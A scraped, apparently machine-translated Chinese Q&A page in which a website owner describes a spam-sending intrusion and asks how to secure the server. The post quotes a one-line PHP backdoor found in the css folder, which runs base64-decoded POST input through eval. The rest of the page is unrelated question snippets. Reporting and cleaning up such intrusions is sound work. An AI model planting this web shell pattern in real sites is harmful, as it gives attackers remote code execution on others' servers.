个人中心
文章发布
退出
作者热门文章
- android - RelativeLayout 背景可绘制重叠内容
- android - 如何链接 cpufeatures lib 以获取 native android 库？
- java - OnItemClickListener 不起作用，但 OnLongItemClickListener 在自定义 ListView 中起作用
- java - Android 文件转字符串
25
4
<分区>
我的托管服务提供商最近暂停了我的网站，因为网站上的某些内容正在发送大量垃圾邮件。最初我和供应商认为这是由于我几天前在服务器上放置的电子邮件事件的不安全表格造成的。我从服务器上删除了带有表单的页面，但服务器仍在发送垃圾邮件。
我在服务器根目录的“css”文件夹中发现了一个名为7c32.php的php文件。我绝对没有做到。这是文件中的代码:
<?php if(isset($_POST["cod\x65"])){eval(base64_decode($_POST["co\x64e"]));}?>
通过在线解码器运行它后，它得出了以下结果:
if(isset($_POST["code"])){eval(base64_decode($_POST["code"]));
我阅读了一些有关恶意 php 文件的资料，发现 eval( 和 base64_decode 字符串非常可疑。我查看了服务器日志文件，看到几个来自沙特阿拉伯 IP 地址的 7c32.php 文件的帖子查询.
我删除了 php 文件，更新了所有过时的 wordpress 主题和插件(以及平台本身，并将 FTP 服务器和 Wordpress 管理帐户的密码更改为更安全的密码。
我还能做些什么来确保我的服务器安全吗？我正要去搜索这些 base64 和 eval( 服务器上所有其他 php 文件中的字符串，但除此之外，我没有想法。
这个 php 脚本似乎太短了，不会造成任何损害，但是还有什么可以发送所有垃圾邮件呢？
如有任何帮助，我们将不胜感激。
25
4
0
我有一个应用程序，其中许多对象都扩展了一个抽象类，该抽象类定义了诸如 create() edit() retrieve() 和 delete()。由于每个子类对这些函数使用相同的逻辑，抽象类定义了默认
我正在使用$anchorScroll滚动到页面顶部，其中 html 元素具有 ID #brand。 AngularJS 代码: $location.hash(
我想停用我的应用程序中的右键单击，该右键单击提供了在桌面上安装应用程序的选项。我该如何做这样的事情？ 最佳答案 右键单击 Visual Studio 中的项目并选择属性。那里有一个复选框“启用浏览器运
我使用 jquery 定位 div，在我的 CSS 中我有一个 div.right-sm:hover{background-color: blue} 我想使用 jquery 停止悬停: $(this
所以，我正在尝试复制 html5“占位符”属性功能。 我目前坚持的一件事是，在获得元素焦点时，插入符号立即出现在输入的开头。 就目前情况而言，插入符号出现在用户单击的位置，然后当我使用 jQuery
当表单填写并发送时，如果您刷新页面，它表示表单将再次发送。 (再次提交表格)。 防止这种情况发生的好方法是什么？或者终止这个 session ？ 这方面有什么指导吗？ 谢谢 最佳答案 处理完POST信
我想阻止 @ 被输入到 input 中。但它不起作用，知道为什么吗？ $(function() { $(document).on('keyup', '[placeholder="x"]', fun
我正在使用 PHP 创建一个应用程序并涉及 MySQL。如果在请求过程中发生错误，我将如何“将查询分组在一起”，检查它是否会成功，然后对真实表进行实际影响。如果对表的实际更新失败，则恢复到更新之前的状
这个问题在这里已经有了答案: 关闭 11 年前。 Possible Duplicate: Best Java obfuscator ? 对于我的示例，我知道 eclipse 提供了一个反编译插件。而
这是一个演示我的问题的 fiddle :JSFiddle 我正在制作自定义下拉菜单(实际上我使用的是 icomoon 图标而不是 V)...它看起来不错，但是父元素的 ::after 是阻止选择:(
每当我编写需要大量条件的代码时，我都会这样做: if foo: if bar: if foobar: if barfoo: if foobarfoo:
我不确定术语是否正确，您可以使用哪些代码实践来使某人难以修改二进制文件/程序集以绕过检查: 例如在源代码中。 bool verificationResult = verify(); if (verif
我正在寻找一种简单的方法来检查多个零件表，以确定给定零件号在添加到给定表之前是否已经存在。 我目前想到的最好的想法是一个辅助表，它简单地将所有表中的每个 PN 列在一个列中，并带有一个唯一的键；但是我
这个问题在这里已经有了答案: jquery stop child triggering parent event (7 个答案) 关闭 8 年前。 我不确定这是否真的冒泡，我会解释。 我有这个:
我有一个 Spring MVC web 应用程序(不确定该信息是否重要，但它可能是)使用 ModelAndView 将字符串值传递给 JSP 文件。 字符串值的形式是: d@.
我在这里尝试使用表单 key 方法进行 csrf 保护 http://net.tutsplus.com/tutorials/php/secure-your-forms-with-form-keys/
htmlentities 是防止 PHP 中的 XSS 的最佳解决方案吗？我还想允许像 b、i、a 和 img 这样的简单标签。实现这一点的最佳解决方案是什么？我确实考虑过 bbcode，但发现如果没
我有一个非常基本的 JAX-RS 服务(下面的 BookService 类)，它允许创建 Book 类型的实体(也在下面)。 POST负载 { "acquisitionDate": 14188
我正在使用 Polymer 1.5，我确实需要“this”变量不要映射到外部。我知道 typescript 会为某些人做这件事 valid reasons . declare var Polymer:
这个问题在这里已经有了答案: Class-level read-only properties in Python (3 个答案) 关闭 6 年前。 有没有一种方法可以通过重写实例变量的 __set
我是一名优秀的程序员,十分优秀！